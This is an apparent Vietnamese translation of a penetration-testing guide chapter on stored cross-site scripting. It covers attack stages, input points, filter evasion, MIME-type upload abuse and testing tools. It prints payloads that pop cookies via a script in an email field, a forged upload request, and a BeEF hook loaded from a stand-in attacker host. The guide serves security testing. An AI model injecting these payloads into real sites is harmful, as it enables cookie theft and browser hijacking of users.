Stored Cross-site Scripting (XSS) là loại kịch bản Cross Site nguy hiểm nhất. Các ứng dụng web cho phép người dùng lưu trữ dữ liệu có khả năng bị loại tấn công này. Chương này minh họa các ví dụ về chèn tập lệnh trang web được lưu trữ và các kịch bản khai thác liên quan.
Các bài viết liên quan:
XSS được Stored xảy ra khi một ứng dụng web thu thập thông tin đầu vào từ một người dùng có thể độc hại, sau đó lưu trữ thông tin đầu vào đó trong kho dữ liệu để sử dụng sau này. Đầu vào được lưu trữ không được lọc chính xác. Do đó, dữ liệu độc hại sẽ có vẻ là một phần của trang web và chạy trong trình duyệt của người dùng theo các đặc quyền của ứng dụng web. Vì lỗ hổng này thường liên quan đến ít nhất hai yêu cầu đối với ứng dụng, điều này cũng có thể được gọi là XSS bậc hai.
Lỗ hổng này có thể được sử dụng để thực hiện một số cuộc tấn công dựa trên trình duyệt bao gồm:
- Đánh cắp trình duyệt của người dùng khác
- Thu thập thông tin nhạy cảm được người dùng ứng dụng xem
- Giả mạo của ứng dụng
- Quét cổng của các máy chủ nội bộ (“nội bộ” liên quan đến người dùng ứng dụng web)
- Phân phối trực tiếp các khai thác dựa trên trình duyệt
- Các hoạt động độc hại khác
XSS được lưu trữ không cần một liên kết độc hại để bị khai thác. Khai thác thành công xảy ra khi người dùng truy cập trang có XSS được lưu trữ. Các giai đoạn sau liên quan đến một kịch bản tấn công XSS được lưu trữ điển hình:
- Kẻ tấn công lưu trữ mã độc hại vào trang dễ bị tấn công
- Người dùng xác thực trong ứng dụng
- Người dùng truy cập trang dễ bị tấn công
- Mã độc hại được thực thi bởi trình duyệt của người dùng
Loại tấn công này cũng có thể được khai thác với các khuôn khổ khai thác trình duyệt như BeEF và XSS Proxy. Các khuôn khổ này cho phép phát triển khai thác JavaScript phức tạp.
XSS được lưu trữ đặc biệt nguy hiểm trong các khu vực ứng dụng mà người dùng có đặc quyền cao có quyền truy cập. Khi quản trị viên truy cập trang dễ bị tấn công, trình duyệt của họ sẽ tự động thực hiện cuộc tấn công. Điều này có thể làm lộ thông tin nhạy cảm như mã thông báo ủy quyền phiên.
Mục tiêu kiểm tra XSS
- Xác định đầu vào được lưu trữ được phản ánh ở phía máy khách.
- Đánh giá đầu vào mà họ chấp nhận và mã hóa được áp dụng trở lại (nếu có).
Làm thế nào để kiểm tra XSS
Black-Box Testing
Quy trình xác định các lỗ hổng XSS được lưu trữ tương tự như quy trình được mô tả trong quá trình kiểm tra XSS được phản ánh.
Input Forms
Bước đầu tiên là xác định tất cả các điểm nơi đầu vào của người dùng được lưu trữ vào back-end và sau đó được hiển thị bởi ứng dụng. Có thể tìm thấy các ví dụ điển hình về đầu vào của người dùng được lưu trữ trong:
- User/Profiles page: ứng dụng cho phép người dùng chỉnh sửa / thay đổi chi tiết hồ sơ như tên, họ, biệt hiệu, ảnh đại diện, ảnh, địa chỉ, v.v.
- Shopping cart: ứng dụng cho phép người dùng lưu trữ các mặt hàng vào giỏ hàng, sau đó có thể xem lại sau
- File Manager: ứng dụng cho phép tải tệp lên
- Application settings/preferences: ứng dụng cho phép người dùng đặt tùy chọn
- Forum/Message board: ứng dụng cho phép trao đổi bài viết giữa những người dùng
- Blog: nếu ứng dụng blog cho phép người dùng gửi bình luận
- Log: nếu ứng dụng lưu trữ một số người dùng nhập vào nhật ký.
Analyze HTML Code
Đầu vào được ứng dụng lưu trữ thường được sử dụng trong các thẻ HTML, nhưng nó cũng có thể được tìm thấy như một phần của nội dung JavaScript. Ở giai đoạn này, điều cơ bản là phải hiểu đầu vào có được lưu trữ hay không và cách nó được định vị trong ngữ cảnh của trang. Khác với XSS được phản ánh, trình thử nghiệm bút cũng nên điều tra bất kỳ kênh ngoài băng tần nào mà ứng dụng nhận và lưu trữ thông tin nhập của người dùng.
Lưu ý: Tất cả các khu vực của ứng dụng mà quản trị viên có thể truy cập phải được kiểm tra để xác định sự hiện diện của bất kỳ dữ liệu nào do người dùng gửi.
Ví dụ: Gửi dữ liệu được lưu trữ qua email trong index2.php
Ví dụ về đầu vào được lưu trữ
Mã HTML của index2.php nơi chứa giá trị email:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
Trong trường hợp này, người kiểm tra cần tìm cách đưa mã vào bên ngoài thẻ <input> như bên dưới:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
Kiểm tra stored XSS
Điều này liên quan đến việc kiểm tra xác nhận đầu vào và kiểm soát lọc của ứng dụng. Các ví dụ tiêm cơ bản trong trường hợp này:
aaa@aa.com"><script>alert(document.cookie)</script> aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Đảm bảo đầu vào được gửi thông qua ứng dụng. Điều này thường liên quan đến việc tắt JavaScript nếu các kiểm soát bảo mật phía máy khách được triển khai hoặc sửa đổi yêu cầu HTTP bằng proxy web. Điều quan trọng là phải kiểm tra cùng một lần tiêm với cả yêu cầu HTTP GET và POST. Việc tiêm ở trên dẫn đến một cửa sổ bật lên chứa các giá trị cookie.
Mã HTML sau phần chèn:
<input class = "inputbox" type = "text" name = "email" size = "40" value = "aaa@aa.com"> <script> alert (document.cookie) </script>
Đầu vào được lưu trữ và tải trọng XSS được trình duyệt thực thi khi tải lại trang. Nếu đầu vào bị ứng dụng thoát, người kiểm tra nên kiểm tra ứng dụng để tìm bộ lọc XSS. Ví dụ: nếu chuỗi “SCRIPT” được thay thế bằng khoảng trắng hoặc bằng ký tự NULL thì đây có thể là một dấu hiệu tiềm ẩn của việc lọc XSS đang hoạt động. Nhiều kỹ thuật tồn tại để tránh các bộ lọc đầu vào (xem chương kiểm tra XSS được phản ánh)). Người thử nghiệm đặc biệt khuyên rằng nên tham khảo các trang Cheat của Bộ lọc XSS và Mario XSS Cheat, các trang này cung cấp danh sách mở rộng các cuộc tấn công XSS và bỏ qua bộ lọc. Tham khảo phần sách trắng và công cụ để biết thêm thông tin chi tiết.
Leverage Stored XSS với BeEF
XSS được lưu trữ có thể được khai thác bằng các khung khai thác JavaScript nâng cao như BeEF và XSS Proxy.
Một kịch bản khai thác BeEF điển hình bao gồm:
- Chèn một hook JavaScript giao tiếp với khung khai thác trình duyệt của kẻ tấn công (BeEF)
- Đang đợi người dùng ứng dụng xem trang dễ bị tấn công nơi hiển thị đầu vào được lưu trữ
- Kiểm soát trình duyệt của người dùng ứng dụng thông qua bảng điều khiển BeEF
- Có thể chèn JavaScript hook bằng cách khai thác lỗ hổng XSS trong ứng dụng web.
Ví dụ: BeEF Injection trong index2.php:
aaa@aa.com"><script src=http://attackersite/hook.js></script>
Khi người dùng tải trang index2.php, script hook.js được trình duyệt thực thi. Sau đó, có thể truy cập cookie, ảnh chụp màn hình của người dùng, khay nhớ tạm thời của người dùng và khởi chạy các cuộc tấn công XSS phức tạp.
Cuộc tấn công này đặc biệt hiệu quả trong các trang dễ bị tấn công được xem bởi nhiều người dùng với các đặc quyền khác nhau.
File Upload
Nếu ứng dụng web cho phép tải tệp lên, điều quan trọng là phải kiểm tra xem có thể tải lên nội dung HTML hay không. Ví dụ: nếu tệp HTML hoặc TXT được cho phép, tải trọng XSS có thể được đưa vào tệp đã tải lên. Người kiểm tra bút cũng phải xác minh xem tệp tải lên có cho phép đặt các kiểu MIME tùy ý hay không.
Hãy xem xét yêu cầu HTTP POST sau để tải tệp lên:
POST /fileupload.aspx HTTP/1.1 […] Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt" Content-Type: text/plain test
Lỗ hổng thiết kế này có thể được khai thác trong các cuộc tấn công xử lý sai MIME của trình duyệt. Ví dụ: các tệp trông vô hại như JPG và GIF có thể chứa trọng tải XSS được thực thi khi chúng được tải bởi trình duyệt. Điều này có thể xảy ra khi kiểu MIME cho một hình ảnh chẳng hạn như image / gif có thể được đặt thành text / html. Trong trường hợp này, tệp sẽ được trình duyệt khách hàng coi là HTML.
Request HTTP POST giả mạo:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif" Content-Type: text/html <script>alert(document.cookie)</script>
Cũng cần lưu ý rằng Internet Explorer không xử lý các loại MIME theo cách giống như Mozilla Firefox hoặc các trình duyệt khác làm. Ví dụ: Internet Explorer xử lý các tệp TXT có nội dung HTML dưới dạng nội dung HTML. Để biết thêm thông tin về xử lý MIME, hãy tham khảo phần báo cáo chính thức ở cuối chương này.
Gray-Box Testing
Thử nghiệm hộp xám tương tự như thử nghiệm hộp đen. Trong kiểm tra hộp xám, người kiểm tra bút có một phần kiến thức về ứng dụng. Trong trường hợp này, thông tin liên quan đến đầu vào của người dùng, kiểm soát xác thực đầu vào và lưu trữ dữ liệu có thể được biết bởi pen-tester.
Tùy thuộc vào thông tin có sẵn, thông thường người kiểm tra nên kiểm tra cách ứng dụng xử lý thông tin nhập của người dùng và sau đó được lưu trữ vào hệ thống back-end. Các bước sau được khuyến nghị:
- Sử dụng ứng dụng giao diện người dùng và nhập đầu vào với các ký tự đặc biệt / không hợp lệ
- Phân tích (các) phản hồi của ứng dụng
- Xác định sự hiện diện của các kiểm soát xác nhận đầu vào
- Truy cập hệ thống back-end và kiểm tra xem đầu vào có được lưu trữ hay không và lưu trữ như thế nào
Phân tích mã nguồn và hiểu cách ứng dụng hiển thị đầu vào được lưu trữ
Nếu mã nguồn có sẵn (như trong thử nghiệm hộp trắng), tất cả các biến được sử dụng trong các biểu mẫu đầu vào phải được phân tích. Đặc biệt, các ngôn ngữ lập trình như PHP, ASP và JSP sử dụng các biến / hàm được xác định trước để lưu trữ đầu vào từ các yêu cầu HTTP GET và POST.
Bảng sau đây tóm tắt một số biến và hàm đặc biệt cần xem xét khi phân tích mã nguồn:
Lưu ý: Bảng trên chỉ là bản tóm tắt các tham số quan trọng nhất, nhưng tất cả các tham số đầu vào của người dùng nên được điều tra.
Công cụ kiểm tra XSS
- PHP Charset Encoder (PCE) giúp bạn mã hóa các văn bản tùy ý đến và từ 65 loại bộ ký tự mà bạn có thể sử dụng trong các tải trọng tùy chỉnh của mình.
- Hackvertor là một công cụ trực tuyến cho phép nhiều kiểu mã hóa và giải mã JavaScript (hoặc bất kỳ đầu vào chuỗi nào).
- BeEF là khung khai thác trình duyệt. Một công cụ chuyên nghiệp để chứng minh tác động theo thời gian thực của các lỗ hổng trình duyệt.
- XSS-Proxy là một công cụ tấn công Cross-Site-Scripting (XSS) nâng cao.
- Burp Proxy là một máy chủ proxy HTTP / S tương tác để tấn công và thử nghiệm các ứng dụng web.
- Tập lệnh XSS Assistant Greasemonkey cho phép người dùng dễ dàng kiểm tra bất kỳ ứng dụng web nào để tìm các lỗi tạo tập lệnh giữa các trang web.
- OWASP Zed Attack Proxy (ZAP) là một máy chủ proxy HTTP / S tương tác để tấn công và kiểm tra các ứng dụng web với một máy quét tích hợp.
